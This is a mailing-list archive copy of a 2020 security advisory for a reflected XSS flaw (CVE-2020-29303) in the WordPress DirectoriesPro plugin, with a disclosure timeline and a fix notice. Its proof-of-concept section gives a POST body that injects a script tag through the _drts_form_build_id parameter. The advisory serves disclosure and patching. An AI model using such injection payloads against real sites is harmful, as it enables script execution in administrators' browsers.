



[Full Disclosure](#) mailing list archives

[By Date](#) [By Thread](#)



Reflected XSS in WordPress - DirectoriesPro 1.3.45 plugin disclosure

From: Jack Misiura via Fulldisclosure <fulldisclosure () seclists.org>

Date: Thu, 10 Dec 2020 01:18:13 +0000

Title: Reflected XSS

Product: WordPress DirectoriesPro Plugin by SabaiApps

Vendor Homepage: <https://directoriespro.com/>

Vulnerable Version: 1.3.45

Fixed Version: 1.3.46

CVE Number: CVE-2020-29303

Author: Jack Misiura from The Missing Link

Website: <https://www.themissinglink.com.au>

Timeline:

2020-11-26 Disclosed to Vendor

2020-11-27 Vendor releases patched version

2020-12-07 Fix confirmed

2020-12-10 Publication

1. Vulnerability Description

The WordPress DirectoriesPro plugin did not sanitise the `_drts_form_build_id` in a POST request, allowing for HTML or JavaScript injection.

2. PoC

On a WordPress installation with a vulnerable DirectoriesPro plugin, issue the following POST request while logged in as Administrator to, for example, <http://example.com/wp-admin/admin.php?page=drts/directories>
<[http://example.com/wp-admin/admin.php?page=drts/directories&q=12F&directories%2Fstaff%2Fexport%2F](http://example.com/wp-admin/admin.php?page=drts/directories&q=12F&directories%2Fstaff%2Fexport%2F&q=%2Fdirectories%2Fstaff%2Fexport%2F)>
Please note, the `_t_` parameter is set to an invalid or non-existent CSRF token.

```
filename=staff_txt&pretty_print=1&drts_form_build_id=123"><script>alert('Reflected%20XSS');  
</script>%20onmouseover="%&t_1234567&_drts_form_submit%5B0%5D=0&_ajax_=%23drts-modal
```

3. Solution

The vendor provides an updated version (1.3.46) which should be installed immediately.

4. Advisory URL

<https://www.themissinglink.com.au/security-advisories>

Jack Misiura

Application Security Consultant

a

9-11 Dickson Avenue

Artarmon

NSW

2064

P

1300 865 865

OS

+61 2 8436 8585

W

<<https://www.themissinglink.com.au/>> themissinglink.com.au

<<https://www.linkedin.com/company/the-missing-link-pty-ltd/>>

<<https://www.facebook.com/The-Missing-Link-268395013346228/?ref=bookmarks>>

<https://twitter.com/TML_au>

<<https://www.youtube.com/channel/UC2kd4mDmBs3SjW4lX3fPHnQ>>

<https://www.instagram.com/the_missing_link_it/>

<<https://forms.office.com/Pages/ResponsePage.aspx?id=Xzw2oPTdQulPe7AFm1vgSPnggool1WREpQCEhJxs23FUMUxTOUREUVRDTzBNQ0pKTkFaS1lETEFeFaSi4u>>

CAUTION - This message may contain privileged and confidential information intended only for the use of the addressee named above. If you are not the intended recipient of this message you are hereby notified that any use, dissemination, distribution or reproduction of this message is prohibited. If you have received this message in error please notify The Missing Link immediately. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of The Missing Link.



Attachment: [smime.p7s](#)

Description:

Sent through the Full Disclosure mailing list
<https://nmap.org/mailman/listinfo/fulldisclosure>
Web Archives & RSS: <http://seclists.org/fulldisclosure/>

◀ By Date ▶ ▶ By Thread ▶

Current thread:

Reflected XSS in WordPress - DirectoriesPro 1.3.45 plugin disclosure Jack Misiura via Fulldisclosure (Dec 11)

Site Search



Nmap Security
Scanner

Npcap packet
capture

Security Lists
Nmap Announce

Security Tools
Vuln scanners

About
About/Contact



[Ref Guide](#)
[Install Guide](#)
[Docs](#)
[Download](#)
[Nmap OEM](#)

[User's Guide](#)
[API docs](#)
[Download](#)
[Npcap OEM](#)

[Nmap Dev](#)
[Full Disclosure](#)
[Open Source Security](#)
[BreachExchange](#)

[Password audit](#)
[Web scanners](#)
[Wireless](#)
[Exploitation](#)

[Privacy](#)
[Advertising](#)
[Nmap Public Source License](#)

